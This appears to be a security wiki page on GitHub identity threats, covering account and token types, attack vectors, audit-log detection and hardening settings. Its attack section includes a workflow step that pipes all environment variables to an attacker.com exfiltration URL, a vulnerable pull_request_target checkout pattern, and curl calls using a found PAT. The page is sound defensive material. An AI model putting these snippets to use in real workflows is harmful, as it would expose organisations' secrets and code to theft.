Skip to main content

GitHub Identity Security

Status: Final

GitHub is critical infrastructure for engineering organizations. Identity compromise in GitHub enables source code theft, secrets exfiltration from repos and CI/CD, and supply chain attacks (malicious code commits, Actions injection).


GitHub Identity Model

Identity TypeDescription
User accountPersonal GitHub account; member of one or more orgs
Organization ownerFull admin over org repos, teams, members, billing
Team maintainerManage team members and repos assigned to team
Repository adminFull control over specific repos
GitHub AppService identity for integrations; installed at org/repo level
Personal Access Token (PAT)User-scoped API credential
Fine-grained PATScoped to specific repos with expiration
Deploy keySSH key for CI/CD access to a specific repo
Actions OIDCEphemeral tokens for cloud access from Actions workflows

Authentication Methods

MethodMFA-ProtectedScope
Username + password (web)Yes (if MFA enabled)Web UI
SSH keyNo (key-based)Git operations
Personal Access Token (PAT)NoAPI + Git
Fine-grained PATNoAPI + Git (scoped)
GitHub App tokenNoApp-specific permissions
Actions OIDC tokenNo (ephemeral)Cloud provider APIs

Attack Vectors

1. Account Compromise → Org Takeover

Phishing/credential stuffing → user account

If user is org owner → full org control
If user is repo admin → read all code in repos
If user has write access → backdoor code, workflows

After org owner compromise:

  • Add attacker as org owner (silent admin)
  • Download all private repos
  • Modify GitHub Actions workflows to exfiltrate future secrets
  • Create/modify deploy keys

2. PAT Exfiltration

# Scan repos for secrets
trufflehog git https://github.com/org/repo
gitleaks detect --source /path/to/repo

# If PAT found:
curl -H "Authorization: token ghp_xxxx" https://api.github.com/user
curl -H "Authorization: token ghp_xxxx" https://api.github.com/orgs/targetorg/repos?per_page=100

3. Actions Secrets / Env Vars Exfiltration

GitHub Actions secrets are injected into workflow runners. Malicious pull requests or compromised workflows can exfiltrate them:

# Malicious workflow step — exfiltrate all environment variables
- name: malicious
run: |
env | curl -X POST https://attacker.com/exfil -d @-

Attacker can also modify GITHUB_TOKEN permissions in workflow to gain broader access.

4. Supply Chain — Malicious Workflow Injection

Pull request from a fork can inject malicious steps:

# Pull request targeting workflow with pull_request_target trigger
# This trigger runs with org secrets even for forks — dangerous
on:
pull_request_target:

jobs:
build:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v3
with:
ref: ${{ github.event.pull_request.head.sha }} # Checks out PR code
- run: make build # Runs attacker's code with repo secrets access

5. Compromised Third-Party Action

# If attacker compromises a pinned Action (tag drift):
- uses: some-org/some-action@v2 # v2 tag could be moved to malicious code

Best practice: pin to commit hash, not tag.


Detection

GitHub Audit Log

# Organization audit log events to monitor:
org.invite_member → New org member added
org.add_member → Member added (accepted invite)
repo.add_member → User given access to specific repo
org.update_member → Role change (member → owner)
personal_access_token.access → PAT used for API call
authentication.failure → Failed logins

GitHub Advanced Security

  • Secret scanning: detects known token formats when committed
  • Code scanning: static analysis for vulnerabilities
  • Dependabot: flag vulnerable dependencies
// GitHub AuditLog (if integrated into Sentinel via connector)
GitHubAuditData
| where Action in ("org.update_member", "team.add_member")
| where AdditionalData has "owner"
| project TimeGenerated, Actor, Action, OrganizationName, AdditionalData

Security Hardening

ControlSetting
Require MFA for org membersOrg Settings → Authentication security → Require 2FA
Restrict PAT accessOrg Settings → Third-party application access policy
SAML SSO enforcementForces org access through SSO; blocks direct GitHub credential auth
Branch protection rulesRequire PR review, status checks, signed commits
Required reviews for CODEOWNERSHigh-value files need explicit review
Limit Actions permissions by defaultGITHUB_TOKEN should be read by default, not write
Pin actions to commit SHAPrevent tag drift supply chain attacks
Audit log streamingStream to SIEM for centralized analysis

TopicLink
API Token Abuseapi-token-abuse
OAuth App Abuseoauth-app-abuse
Kubernetes — OIDC Federationk8s-service-accounts